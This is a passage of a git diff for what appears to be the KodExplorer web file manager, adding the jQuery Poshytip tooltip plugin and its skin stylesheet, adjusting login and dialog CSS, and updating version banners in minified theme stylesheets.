$.fn.poshytip.lastHide < this.opts.hoverClearDelay/1000.0 ){ + if(timeout > 100){ + timeout = 100; + } + } + + this.showTimeout = setTimeout($.proxy(this.show, this), typeof timeout == 'number' ? timeout : timeout); + }, + hide: function() { + if (this.disabled || !this.$tip.data('active')) + return; + + this.display(true); + $.fn.poshytip.lastHide = timeFloat(); + }, + hideDelayed: function(timeout) { + this.clearTimeouts(); + this.hideTimeout = setTimeout($.proxy(this.hide, this), typeof timeout == 'number' ? timeout : this.opts.hideTimeout); + }, + reset: function() { + this.$tip.queue([]).detach().css('visibility', 'hidden').data('active', false); + this.$inner.find('*').poshytip('hide'); + if (this.opts.fade) + this.$tip.css('opacity', this.opacity); + this.$arrow[0].className = 'tip-arrow tip-arrow-top tip-arrow-right tip-arrow-bottom tip-arrow-left'; + this.asyncAnimating = false; + }, + update: function(content, dontOverwriteOption) { + if (this.disabled) + return; + + var async = content !== undefined; + if (async) { + if (!dontOverwriteOption) + this.opts.content = content; + if (!this.$tip.data('active')) + return; + } else { + content = this.opts.content; + } + + // update content only if it has been changed since last time + var self = this, + newContent = typeof content == 'function' ? + content.call(this.$elm[0], function(newContent) { + self.update(newContent); + }) : + content == '[title]' ? this.$elm.data('title.poshytip') : content; + if (this.content !== newContent) { + this.$inner.empty().append(newContent); + this.content = newContent; + } + + this.refresh(async); + }, + refresh: function(async) { + if (this.disabled) + return; + + if (async) { + if (!this.$tip.data('active')) + return; + // save current position as we will need to animate + var currPos = {left: this.$tip.css('left'), top: this.$tip.css('top')}; + } + + // reset position to avoid text wrapping, etc. + this.$tip.css({left: 0, top: 0}).appendTo(document.body); + + // save default opacity + if (this.opacity === undefined) + this.opacity = this.$tip.css('opacity'); + + // check for images - this code is here (i.e. executed each time we show the tip and not on init) due to some browser inconsistencies + var bgImage = this.$tip.css('background-image').match(reBgImage), + arrow = this.$arrow.css('background-image').match(reBgImage); + + if (bgImage) { + var bgImagePNG = rePNG.test(bgImage[1]); + // fallback to background-color/padding/border in IE6 if a PNG is used + if (ie6 && bgImagePNG) { + this.$tip.css('background-image', 'none'); + this.$inner.css({margin: 0, border: 0, padding: 0}); + bgImage = bgImagePNG = false; + } else { + this.$tip.prepend('
        ') + .css({border: 0, padding: 0, 'background-image': 'none', 'background-color': 'transparent'}) + .find('.tip-bg-image').css('background-image', 'url("' + bgImage[1] +'")').end() + .find('td').eq(3).append(this.$inner); + } + // disable fade effect in IE due to Alpha filter + translucent PNG issue + if (bgImagePNG && !$.support.opacity) + this.opts.fade = false; + } + // IE arrow fixes + if (arrow && !$.support.opacity) { + // disable arrow in IE6 if using a PNG + if (ie6 && rePNG.test(arrow[1])) { + arrow = false; + this.$arrow.css('background-image', 'none'); + } + // disable fade effect in IE due to Alpha filter + translucent PNG issue + this.opts.fade = false; + } + + var $table = this.$tip.find('> table.tip-table'); + if (ie6) { + // fix min/max-width in IE6 + this.$tip[0].style.width = ''; + $table.width('auto').find('td').eq(3).width('auto'); + var tipW = this.$tip.width(), + minW = parseInt(this.$tip.css('min-width')), + maxW = parseInt(this.$tip.css('max-width')); + if (!isNaN(minW) && tipW < minW) + tipW = minW; + else if (!isNaN(maxW) && tipW > maxW) + tipW = maxW; + this.$tip.add($table).width(tipW).eq(0).find('td').eq(3).width('100%'); + } else if ($table[0]) { + // fix the table width if we are using a background image + // IE9, FF4 use float numbers for width/height so use getComputedStyle for them to avoid text wrapping + // for details look at: http://vadikom.com/dailies/offsetwidth-offsetheight-useless-in-ie9-firefox4/ + $table.width('auto').find('td').eq(3).width('auto').end().end().width(document.defaultView && document.defaultView.getComputedStyle && parseFloat(document.defaultView.getComputedStyle(this.$tip[0], null).width) || this.$tip.width()).find('td').eq(3).width('100%'); + } + this.tipOuterW = this.$tip.outerWidth(); + this.tipOuterH = this.$tip.outerHeight(); + + this.calcPos(); + + // position and show the arrow image + if (arrow && this.pos.arrow) { + this.$arrow[0].className = 'tip-arrow tip-arrow-' + this.pos.arrow; + this.$arrow.css('visibility', 'inherit'); + } + + if (async && this.opts.refreshAniDuration) { + this.asyncAnimating = true; + var self = this; + this.$tip.css(currPos).animate({left: this.pos.l, top: this.pos.t}, this.opts.refreshAniDuration, function() { self.asyncAnimating = false; }); + } else { + this.$tip.css({left: this.pos.l, top: this.pos.t}); + } + }, + display: function(hide) { + var active = this.$tip.data('active'); + if (active && !hide || !active && hide) + return; + + this.$tip.stop(); + if ((this.opts.slide && this.pos.arrow || this.opts.fade) && (hide && this.opts.hideAniDuration || !hide && this.opts.showAniDuration)) { + var from = {}, to = {}; + // this.pos.arrow is only undefined when alignX == alignY == 'center' and we don't need to slide in that rare case + if (this.opts.slide && this.pos.arrow) { + var prop, arr; + if (this.pos.arrow == 'bottom' || this.pos.arrow == 'top') { + prop = 'top'; + arr = 'bottom'; + } else { + prop = 'left'; + arr = 'right'; + } + var val = parseInt(this.$tip.css(prop)); + from[prop] = val + (hide ? 0 : (this.pos.arrow == arr ? -this.opts.slideOffset : this.opts.slideOffset)); + to[prop] = val + (hide ? (this.pos.arrow == arr ? this.opts.slideOffset : -this.opts.slideOffset) : 0) + 'px'; + } + if (this.opts.fade) { + from.opacity = hide ? this.$tip.css('opacity') : 0; + to.opacity = hide ? 0 : this.opacity; + } + this.$tip.css(from).animate(to, this.opts[hide ? 'hideAniDuration' : 'showAniDuration']); + } + hide ? this.$tip.queue($.proxy(this.reset, this)) : this.$tip.css('visibility', 'inherit'); + if (active) { + var title = this.$elm.data('title.poshytip'); + if (title !== null) + this.$elm.attr('title', title); + } + this.$tip.data('active', !active); + }, + disable: function() { + this.reset(); + this.disabled = true; + }, + enable: function() { + this.disabled = false; + }, + destroy: function() { + this.reset(); + this.$tip.remove(); + delete this.$tip; + this.content = null; + this.$elm.unbind('.poshytip').removeData('title.poshytip').removeData('poshytip'); + tips.splice($.inArray(this, tips), 1); + }, + clearTimeouts: function() { + if (this.showTimeout) { + clearTimeout(this.showTimeout); + this.showTimeout = 0; + } + if (this.hideTimeout) { + clearTimeout(this.hideTimeout); + this.hideTimeout = 0; + } + }, + calcPos: function() { + var pos = {l: 0, t: 0, arrow: ''}, + $win = $(window), + win = { + l: $win.scrollLeft(), + t: $win.scrollTop(), + w: $win.width(), + h: $win.height() + }, xL, xC, xR, yT, yC, yB; + if (this.opts.alignTo == 'cursor') { + xL = xC = xR = this.eventX; + yT = yC = yB = this.eventY; + } else { // this.opts.alignTo == 'target' + var elmOffset = this.$elm.offset(), + elm = { + l: elmOffset.left, + t: elmOffset.top, + w: this.$elm.outerWidth(), + h: this.$elm.outerHeight() + }; + xL = elm.l + (this.opts.alignX != 'inner-right' ? 0 : elm.w); // left edge + xC = xL + Math.floor(elm.w / 2); // h center + xR = xL + (this.opts.alignX != 'inner-left' ? elm.w : 0); // right edge + yT = elm.t + (this.opts.alignY != 'inner-bottom' ? 0 : elm.h); // top edge + yC = yT + Math.floor(elm.h / 2); // v center + yB = yT + (this.opts.alignY != 'inner-top' ? elm.h : 0); // bottom edge + } + + // keep in viewport and calc arrow position + switch (this.opts.alignX) { + case 'right': + case 'inner-left': + pos.l = xR + this.opts.offsetX; + if (this.opts.keepInViewport && pos.l + this.tipOuterW > win.l + win.w) + pos.l = win.l + win.w - this.tipOuterW; + if (this.opts.alignX == 'right' || this.opts.alignY == 'center') + pos.arrow = 'left'; + break; + case 'center': + pos.l = xC - Math.floor(this.tipOuterW / 2); + if (this.opts.keepInViewport) { + if (pos.l + this.tipOuterW > win.l + win.w) + pos.l = win.l + win.w - this.tipOuterW; + else if (pos.l < win.l) + pos.l = win.l; + } + break; + default: // 'left' || 'inner-right' + pos.l = xL - this.tipOuterW - this.opts.offsetX; + if (this.opts.keepInViewport && pos.l < win.l) + pos.l = win.l; + if (this.opts.alignX == 'left' || this.opts.alignY == 'center') + pos.arrow = 'right'; + } + switch (this.opts.alignY) { + case 'bottom': + case 'inner-top': + pos.t = yB + this.opts.offsetY; + // 'left' and 'right' need priority for 'target' + if (!pos.arrow || this.opts.alignTo == 'cursor') + pos.arrow = 'top'; + if (this.opts.keepInViewport && pos.t + this.tipOuterH > win.t + win.h) { + pos.t = yT - this.tipOuterH - this.opts.offsetY; + if (pos.arrow == 'top') + pos.arrow = 'bottom'; + } + break; + case 'center': + pos.t = yC - Math.floor(this.tipOuterH / 2); + if (this.opts.keepInViewport) { + if (pos.t + this.tipOuterH > win.t + win.h) + pos.t = win.t + win.h - this.tipOuterH; + else if (pos.t < win.t) + pos.t = win.t; + } + break; + default: // 'top' || 'inner-bottom' + pos.t = yT - this.tipOuterH - this.opts.offsetY; + // 'left' and 'right' need priority for 'target' + if (!pos.arrow || this.opts.alignTo == 'cursor') + pos.arrow = 'bottom'; + if (this.opts.keepInViewport && pos.t < win.t) { + pos.t = yB + this.opts.offsetY; + if (pos.arrow == 'bottom') + pos.arrow = 'top'; + } + } + this.pos = pos; + } + }; + + $.fn.poshytip = function(options) { + if (typeof options == 'string') { + var args = arguments, + method = options; + Array.prototype.shift.call(args); + // unhook live events if 'destroy' is called + if (method == 'destroy') { + this.die ? + this.die('mouseenter.poshytip').die('focus.poshytip') : + $(document).undelegate(this.selector, 'mouseenter.poshytip').undelegate(this.selector, 'focus.poshytip'); + } + return this.each(function() { + var poshytip = $(this).data('poshytip'); + if (poshytip && poshytip[method]) + poshytip[method].apply(poshytip, args); + }); + } + + var opts = $.extend({}, $.fn.poshytip.defaults, options); + + // generate CSS for this tip class if not already generated + if (!$('#poshytip-css-' + opts.className)[0]) + $([''].join('')).appendTo('head'); + + // check if we need to hook live events + if (opts.liveEvents && opts.showOn != 'none') { + var handler, + deadOpts = $.extend({}, opts, { liveEvents: false }); + switch (opts.showOn) { + case 'hover': + handler = function() { + var $this = $(this); + if (!$this.data('poshytip')) + $this.poshytip(deadOpts).poshytip('mouseenter'); + }; + // support 1.4.2+ & 1.9+ + this.live ? + this.live('mouseenter.poshytip', handler) : + $(document).delegate(this.selector, 'mouseenter.poshytip', handler); + break; + case 'focus': + handler = function() { + var $this = $(this); + if (!$this.data('poshytip')) + $this.poshytip(deadOpts).poshytip('showDelayed'); + }; + this.live ? + this.live('focus.poshytip', handler) : + $(document).delegate(this.selector, 'focus.poshytip', handler); + break; + } + return this; + } + + return this.each(function() { + new $.Poshytip(this, opts); + }); + } + + // default settings + $.fn.poshytip.defaults = { + content: '[title]', // content to display ('[title]', 'string', element, function(updateCallback){...}, jQuery) + className: 'tip-yellow', // class for the tips + bgImageFrameSize: 10, // size in pixels for the background-image (if set in CSS) frame around the inner content of the tip + showTimeout: 500, // timeout before showing the tip (in milliseconds 1000 == 1 second) + hideTimeout: 100, // timeout before hiding the tip + timeOnScreen: 0, // timeout before automatically hiding the tip after showing it (set to > 0 in order to activate) + showOn: 'hover', // handler for showing the tip ('hover', 'focus', 'none') - use 'none' to trigger it manually + liveEvents: false, // use live events + alignTo: 'cursor', // align/position the tip relative to ('cursor', 'target') + alignX: 'right', // horizontal alignment for the tip relative to the mouse cursor or the target element + // ('right', 'center', 'left', 'inner-left', 'inner-right') - 'inner-*' matter if alignTo:'target' + alignY: 'top', // vertical alignment for the tip relative to the mouse cursor or the target element + // ('bottom', 'center', 'top', 'inner-bottom', 'inner-top') - 'inner-*' matter if alignTo:'target' + offsetX: -22, // offset X pixels from the default position - doesn't matter if alignX:'center' + offsetY: 18, // offset Y pixels from the default position - doesn't matter if alignY:'center' + keepInViewport: true, // reposition the tooltip if needed to make sure it always appears inside the viewport + allowTipHover: true, // allow hovering the tip without hiding it onmouseout of the target - matters only if showOn:'hover' + followCursor: false, // if the tip should follow the cursor - matters only if showOn:'hover' and alignTo:'cursor' + fade: true, // use fade animation + slide: true, // use slide animation + slideOffset: 8, // slide animation offset + showAniDuration: 300, // show animation duration - set to 0 if you don't want show animation + hideAniDuration: 300, // hide animation duration - set to 0 if you don't want hide animation + refreshAniDuration: 200 // refresh animation duration - set to 0 if you don't want animation when updating the tooltip asynchronously + }; + +})(jQuery); \ No newline at end of file diff --git a/static/js/lib/poshytip/skin.css b/static/js/lib/poshytip/skin.css new file mode 100755 index 0000000..b08ab4b --- /dev/null +++ b/static/js/lib/poshytip/skin.css @@ -0,0 +1,21 @@ +.ptips-skin{ + line-height: 1.5em; + max-width: 300px; + /*min-width: 30px;*/ + opacity:0.95; + z-index:999900; + text-align:left; + word-wrap: break-word; + padding:8px 12px; + pointer-events: none; + + -webkit-box-shadow: 2px 2px 4px rgba(0, 0, 0, 0.2); + -moz-box-shadow: 2px 2px 4px rgba(0, 0, 0, 0.2); + box-shadow: 2px 2px 4px rgba(0, 0, 0, 0.2); + + color:#333; + /*border: 1px solid #bbb;background:#fefefe;*/ + border: 1px solid #ccbd39;background: #fffacb; +} +.ptips-skin .qtip-icon{border-color: #222;} +.ptips-skin .qtip-titlebar .ui-state-hover{border-color: #303030;} diff --git a/static/style/common.css b/static/style/common.css index 3a71b75..e277d0e 100755 --- a/static/style/common.css +++ b/static/style/common.css @@ -393,6 +393,7 @@ div.btn-group-sm > .btn {padding:6px 10px;} animation-name:scaleOpen; } .dialogClose{ + opacity: 0; -webkit-animation-duration:0.3s; animation-duration:0.3s; -webkit-animation-name: zoomOut; diff --git a/static/style/login.css b/static/style/login.css index 6d52f26..7b872a8 100755 --- a/static/style/login.css +++ b/static/style/login.css @@ -23,6 +23,19 @@ a{text-decoration:none;color: #adf;} width:100%;height: 100%; right: 0px;top: 0px; bottom: 0px;left: 0px; } + +.init_loading{ + position: fixed;left:45%;top:40%;font-size:1.25em;z-index: 999999;width: auto; +} +.init_loading div{ + padding: 20px;background:#000;opacity:0.6; + margin: 0 auto; + color: #FFF;border-radius: 6px; + text-align: center;line-height: 30px; +} +.init_loading img{border-radius: 10px;} + + .title{ width:100%;background:#6699cc url(../images/common/login.png);height: 150px; font-weight:100; @@ -75,7 +88,7 @@ input:focus {border-color: #75A1F0; outline: none; box-shadow: 0 0 12px #75A1F0; .loginbox .success{padding:10px;color: #3c763d;background-color: #dff0d8;border:#d6e9c6 1px solid;} .loginbox .error{padding:10px;color:#a94442;background-color: #f2dede;border:#ebccd1 1px solid;font-size:14px;} -.loginbox .error a{background-color: #f2dede;border:#ebccd1 1px solid;} +.loginbox .error a{background-color: #f2dede;color: #03A9F4;} .loginbox h4{margin: 0;padding: 3px 10px;border-left: 3px solid;margin-bottom: 10px;} .loginbox .guest{text-align:center;margin: 0 auto;padding: 20px 0 0px 0;} diff --git a/static/style/skin/alpha_image.css b/static/style/skin/alpha_image.css index 73ac1a5..f613593 100755 --- a/static/style/skin/alpha_image.css +++ b/static/style/skin/alpha_image.css @@ -1,3 +1,3 @@ -/* power by kodexplorer ver 3.35(2016-12-23) [build 1482476941.0642] */ +/* power by kodexplorer ver 3.36(2016-12-30) [build 1483112854.197] */ .text_color_set{color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;}@media screen and (max-width:100000px){body{ position:absolute;top:0px;left:0px;bottom:0px;right:0px;} body .x-folder{ background-image:url("../../images/file_icon/icon_others/folder_alpha.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_alpha.png',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_alpha.png',sizingMethod='scale');} body .full_background{ position:absolute;top:0px;left:0px;bottom:0px;right:0px;background:#2d2d2d url('./../../images/wall_page/8.jpg');background-size:cover;background-size:100% 100%;} body .full_background:before{ width:100%;height:100%;display:block;content:" ";background:#2d2d2d url('./../../images/wall_page/8.jpg');background-size:cover;background-size:100% 100%;filter:url(blur.svg#full_background);-webkit-filter:blur(10px);-moz-filter:blur(10px);-ms-filter:blur(10px);filter:blur(10px);} body a{ color:rgba(255,255,255,0.8);} body .btn .font-icon{ color:rgba(255,255,255,0.8);} body .aui_outer .btn .font-icon, body .edit_main .btn .font-icon{ color:#999;} body .common_footer{ background:rgba(234,234,234,0.1);color:rgba(255,255,255,0.8);border-top:1px solid rgba(234,234,234,0.15);} body .context-menu-list{ box-shadow:0 10px 40px rgba(0,0,0,0.4);border-radius:0;background:rgba(255,255,255,0.95);} body .context-menu-list .context-menu-item{ line-height:25px;height:25px;padding:0 15px 0 20px;} body .aui_outer{ *border:1px solid #ccc;border:1px solid #ccc \0/IE9;box-shadow:0px 5px 20px rgba(0,0,0,0.5), 0 0 0 1px rgba(255,255,255,0.2);} body .aui_state_focus .aui_outer{ box-shadow:0px 5px 30px rgba(0,0,0,0.7), 0 0 0 1px rgba(255,255,255,0.2);} body .aui_buttons{ border-top:1px solid rgba(255,255,255,0.2);} body div.dialog-simple .aui_title{ border-radius:0;} body .aui_state_focus .aui_title, body .aui_title{ background-color:rgba(0,0,0,0.8);box-shadow:0 1px 0 rgba(255,255,255,0.15);background:#2d2d2d url('./../../images/wall_page/8.jpg');background-size:cover;text-shadow:0px 0px 0px #fff, 0px 0px 4px #000, 0px 0px 5px #000;opacity:0.95;} body .topbar{ background:rgba(234,234,234,0.23);box-shadow:0 0 6px rgba(0,0,0,0.2);border-bottom:1px solid rgba(255,255,255,0.01);} body .topbar .content{ border-bottom:none;} body .topbar .content .topbar_menu{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;border-color:rgba(234,234,234,0.05);} body .topbar .content .open .topbar_menu, body .topbar .content .topbar_menu:hover, body .topbar .content .topbar_menu.this{ background:rgba(234,234,234,0.23);} body .topbar .content .share_title, body .topbar .content .share_info, body .topbar .content .share_info .time{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .topbar .content .top_right div.share_info_user{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .frame-main{ background:rgba(221,221,221,0.02);} body .frame-main .frame-right .frame-right-main .tools{ background:rgba(221,221,221,0.02);border-bottom:1px solid rgba(234,234,234,0.15);box-shadow:1px 2px 15px rgba(0,0,0,0.2);} body .frame-main .frame-right .frame-right-main .tools .tools-right .set_icon_size:hover .dropdown-toggle, body .frame-main .frame-right .frame-right-main .tools .tools-right .set_icon_size.open .dropdown-toggle{ background:rgba(234,234,234,0.23);color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .frame-main .frame-right .frame-right-main .tools .tools-right .set_icon_size .set_icon_size_slider .slider_bg{ background:#666;} body .frame-main .frame-right .file_select_info{ background:#000;background:rgba(0,0,0,0.2);color:#aaa;opacity:0.5;filter:alpha(opacity=50);} body div.frame-header{ background:rgba(221,221,221,0.02);border-bottom:1px solid rgba(234,234,234,0.05);} body div.frame-main .frame-left{ background:rgba(221,221,221,0.02);border-right:1px solid rgba(234,234,234,0.15);} body div.frame-main .frame-left .bottom_box{ background:rgba(221,221,221,0.02);border-right:none;border-top:1px solid rgba(234,234,234,0.15);} body div.frame-main .frame-left .bottom_box .cell{ background:rgba(221,221,221,0.02);color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;border:1px solid rgba(234,234,234,0.05);box-shadow:0 0 10px rgba(0,0,0,0.1);} body div.frame-main .frame-left .bottom_box .cell:hover{ background:rgba(234,234,234,0.16);} body .user_space_info{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .group_space_use{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;background:rgba(234,234,234,0.1);border-color:rgba(234,234,234,0.15);} body .btn-default{ text-shadow:none;} body #history_back, body #home, body #fav{ border-right-color:transparent;} body .btn#home{ border-radius:3px 0 0 3px;} body .btn#up, body .btn#search{ border-radius:0 3px 3px 0;} body .input_style{ background:none;border:1px solid rgba(234,234,234,0.23);border-right-color:transparent;box-shadow:inset 0px 0px 20px rgba(0,0,0,0.15);} body .frame-header .header-content .header-right input, body .frame-header .header-content .header-right input:focus{ background:none;border:1px solid rgba(234,234,234,0.23);border-right-color:transparent;box-shadow:inset 0px 0px 20px rgba(0,0,0,0.15);} body .frame-header .header-content .header-right input{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .button_style{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;background:rgba(234,234,234,0.1);border-color:rgba(234,234,234,0.23);box-shadow:0 5px 10px rgba(234,234,234,0.1) inset;} body .button_style:hover{ box-shadow:inset 0 2px 4px rgba(0,0,0,0.1), 0 0 5px rgba(234,234,234,0.15);border-color:rgba(234,234,234,0.15);} body .button_style:active, body .button_style.active{ box-shadow:inset 0 4px 10px rgba(0,0,0,0.4);border-color:rgba(234,234,234,0.23);} body .frame-main .frame-right .frame-right-main .tools button.btn, body .frame-main .frame-right .frame-right-main .tools .tools-left button.btn, body .frame-header .header-content button.btn, body .frame-header .header-content .header-right .btn-default, body .frame-main .frame-right .frame-right-main .admin_real_path a.dlg_goto_path{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;background:rgba(234,234,234,0.1);border-color:rgba(234,234,234,0.23);box-shadow:0 5px 10px rgba(234,234,234,0.1) inset;} body .frame-main .frame-right .frame-right-main .tools button.btn:hover, body .frame-main .frame-right .frame-right-main .tools .tools-left button.btn:hover, body .frame-header .header-content button.btn:hover, body .frame-header .header-content .header-right .btn-default:hover, body .frame-main .frame-right .frame-right-main .admin_real_path a.dlg_goto_path:hover{ box-shadow:inset 0 2px 4px rgba(0,0,0,0.1), 0 0 5px rgba(234,234,234,0.15);border-color:rgba(234,234,234,0.15);} body .frame-main .frame-right .frame-right-main .tools button.btn:active, body .frame-main .frame-right .frame-right-main .tools button.btn.active, body .frame-main .frame-right .frame-right-main .tools .tools-left button.btn:active, body .frame-main .frame-right .frame-right-main .tools .tools-left button.btn.active, body .frame-header .header-content button.btn:active, body .frame-header .header-content button.btn.active, body .frame-header .header-content .header-right .btn-default:active, body .frame-header .header-content .header-right .btn-default.active, body .frame-main .frame-right .frame-right-main .admin_real_path a.dlg_goto_path:active, body .frame-main .frame-right .frame-right-main .admin_real_path a.dlg_goto_path.active{ box-shadow:inset 0 4px 10px rgba(0,0,0,0.4);border-color:rgba(234,234,234,0.23);} body .header-middle .btn-default{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;background:rgba(234,234,234,0.1);border-color:rgba(234,234,234,0.23);box-shadow:0 5px 10px rgba(234,234,234,0.1) inset;} body .header-middle .btn-default:hover{ box-shadow:inset 0 2px 4px rgba(0,0,0,0.1), 0 0 5px rgba(234,234,234,0.15);border-color:rgba(234,234,234,0.15);} body .header-middle .btn-default:active, body .header-middle .btn-default.active{ box-shadow:inset 0 4px 10px rgba(0,0,0,0.4);border-color:rgba(234,234,234,0.23);} body .header-middle .disable .font-icon{ opacity:0.6;filter:alpha(opacity=60);} body .header-middle #yarnball{ border-right-color:transparent;background:none;border:1px solid rgba(234,234,234,0.23);box-shadow:inset 0px 0px 20px rgba(0,0,0,0.15);} body .header-middle #yarnball_input input.path{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .header-middle #yarnball_input{ background:none;border:1px solid rgba(234,234,234,0.23);border-right-color:transparent;box-shadow:inset 0px 0px 20px rgba(0,0,0,0.15);} body .header-middle #yarnball .yarnball .yarnlet a{ background:none;color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .header-middle #yarnball .yarnball .yarnlet a::after{ content:'/';padding-left:5px;} body .header-middle #yarnball .yarnball .yarnlet a:hover{ color:rgba(234,234,234,0.23);} body .header-middle #yarnball .yarnball .yarnlet a.curDropToPath{ color:#f60;} body .header-middle #yarnball .yarnball .yarnlet .left-yarn{ background:none;} body .frame-header .header-content .btn-default:active, body .frame-header .header-content .btn-default.active{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;background:rgba(234,234,234,0.1);border-color:rgba(234,234,234,0.15);} body .file-draging.fileList_icon div.file .filename, body .file-draging.fileList_list div.file .filename, body .file-draging.fileList_list_split div.file .filename{ visibility:hidden;} body .file-draging.fileList_icon div.file.handle_target .filename, body .file-draging.fileList_list div.file.handle_target .filename, body .file-draging.fileList_list_split div.file.handle_target .filename{ visibility:visible;} body .fileList_icon .file{ color:#fff;} body .fileList_list .file{ border-bottom:1px solid rgba(234,234,234,0.05);} body .fileList_list .file.file2{ background:rgba(221,221,221,0.02);} body .fileContiner .file, body .fileContiner .file2{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;text-shadow:0 0 1px #fff;} body .fileContiner .file.hover, body .fileContiner .file.select_split_parent, body .fileContiner .file2.hover, body .fileContiner .file2.select_split_parent{ filter:none;background:rgba(234,234,234,0.1);border:1px solid rgba(234,234,234,0.1);} body .fileContiner .file.select, body .fileContiner .file.selectDragTemp, body .fileContiner .file2.select, body .fileContiner .file2.selectDragTemp{ background:rgba(234,234,234,0.16);border:1px solid rgba(234,234,234,0.23);border-bottom:1px solid rgba(234,234,234,0.23);} body .fileList_list_split .split_box{ border-right:1px solid #e6e6e6;border-right:1px solid rgba(150,150,150,0.15);} body .fileList_list_split .split_box.split_hover{ background:rgba(5,5,5,0.2);background:rgba(0,0,0,0.01);box-shadow:0 0 100px rgba(5,5,5,0.2) inset;border-bottom-color:rgba(255,255,255,0.2);} body .fileList_list_split .split_box.split_select{ background:rgba(0,0,0,0.2);background:rgba(0,0,0,0.01);box-shadow:0 0 100px rgba(0,0,0,0.2) inset;border-left:1px solid #eee;border-color:rgba(0,0,0,0.2);margin-left:-1px;border-bottom:5px solid #2196F3;border-bottom-color:rgba(255,255,255,0.4);} body #list_type_list{ background:none;} body #main_title{ background:rgba(234,234,234,0.1);border-bottom:1px solid rgba(234,234,234,0.15);box-shadow:0px 5px 5px rgba(0,0,0,0.05);} body #main_title .this{ background:rgba(234,234,234,0.16);} body #main_title .filename, body #main_title .filesize, body #main_title .filetype, body #main_title .filetime{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;border-right:1px solid rgba(234,234,234,0.23);} body #main_title .filename:hover, body #main_title .filesize:hover, body #main_title .filetype:hover, body #main_title .filetime:hover{ background:rgba(234,234,234,0.16);} body#page_editor .frame-main .tools-left{ background:rgba(234,234,234,0.15);border-bottom:1px solid rgba(234,234,234,0.05);} body#page_editor .frame-main .tools-left a{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body#page_editor .frame-main .frame-right .frame-right-main .frame{ border-left:1px solid rgba(234,234,234,0.05);} body #body .menu_left, body #body .app_menu_left{ background:rgba(230,230,230,0.2);background:#2d2d2d url('./../../images/wall_page/8.jpg');background-size:cover;} body #body .menu_left h1, body #body .app_menu_left h1{ color:#fff;font-weight:400;} body #body .menu_left .setting a, body #body .app_menu_left .setting a{ color:#fff;} body #body .menu_left .setting a:hover, body #body .app_menu_left .setting a:hover{ background:rgba(242,242,242,0.2);} body #body .menu_left .setting a.selected, body #body .app_menu_left .setting a.selected{ background:rgba(255,255,255,0.2);border-color:rgba(255,255,255,0.7);color:#fff;} body #body .main .nav a:hover, body #body .main .nav a.this{ background:#555;border:1px solid #555;} body #body .user_list a{ color:#2a6496;} body #body .system_conennt .left_freame .left_content .ztree li a{ text-shadow:none;} body #body .system_conennt .left_freame .left_content .ztree li a.hover{ background:#eee;border-color:#eee;} body #body .system_conennt .left_freame .left_content .ztree li a.curSelectedNode{ background:#63acff;border:1px solid #63acff;} body #body .system_conennt .left_freame .left_content .ztree li a .sub_menu{ color:#888 !important;} body#page_explorer .task_tab, body#page_editor .task_tab{ background:rgba(255,255,255,0.2);border-color:rgba(255,255,255,0.3);} body .ztree li a{ color:#fff;border-radius:3px;margin:0 4px 0 4px;background:transparent;border-color:transparent;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .ztree li a:hover{ background:rgba(234,234,234,0.15);border-color:transparent;} body .ztree li a span.button.switch{ opacity:0.8;filter:alpha(opacity=80);} body .ztree li a span.button.switch:after{ color:#cccccc;} body .ztree li a span.button.switch.noline_open:after, body .ztree li a span.button.switch.noline_open_hover:after{ color:#e6e6e6;} body .ztree li a.curSelectedNode, body .ztree li a.curDropTreeNode{ background:rgba(234,234,234,0.33);border-color:transparent;} body .ztree li a.curSelectedNode .noline_open:after, body .ztree li a.curSelectedNode .noline_open_hover:after, body .ztree li a.curSelectedNode .noline_close:after, body .ztree li a.curDropTreeNode .noline_open:after, body .ztree li a.curDropTreeNode .noline_open_hover:after, body .ztree li a.curDropTreeNode .noline_close:after{ color:#fff !important;} body.setting_page .ztree li a{ color:inherit;}} -/* ver 3.35(2016-12-23) [build 1482476941.0642] */ \ No newline at end of file +/* ver 3.36(2016-12-30) [build 1483112854.1971] */ \ No newline at end of file diff --git a/static/style/skin/alpha_image_sky.css b/static/style/skin/alpha_image_sky.css index 8884ba1..f73fb23 100755 --- a/static/style/skin/alpha_image_sky.css +++ b/static/style/skin/alpha_image_sky.css @@ -1,3 +1,3 @@ -/* power by kodexplorer ver 3.35(2016-12-23) [build 1482476941.183] */ +/* power by kodexplorer ver 3.36(2016-12-30) [build 1483112854.3109] */ .text_color_set{color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;}@media screen and (max-width:100000px){body{ position:absolute;top:0px;left:0px;bottom:0px;right:0px;} body .x-folder{ background-image:url("../../images/file_icon/icon_others/folder_alpha.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_alpha.png',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_alpha.png',sizingMethod='scale');} body .full_background{ position:absolute;top:0px;left:0px;bottom:0px;right:0px;background:#2d2d2d url('./../../images/wall_page/10.jpg');background-size:cover;background-size:100% 100%;} body .full_background:before{ width:100%;height:100%;display:block;content:" ";background:#2d2d2d url('./../../images/wall_page/10.jpg');background-size:cover;background-size:100% 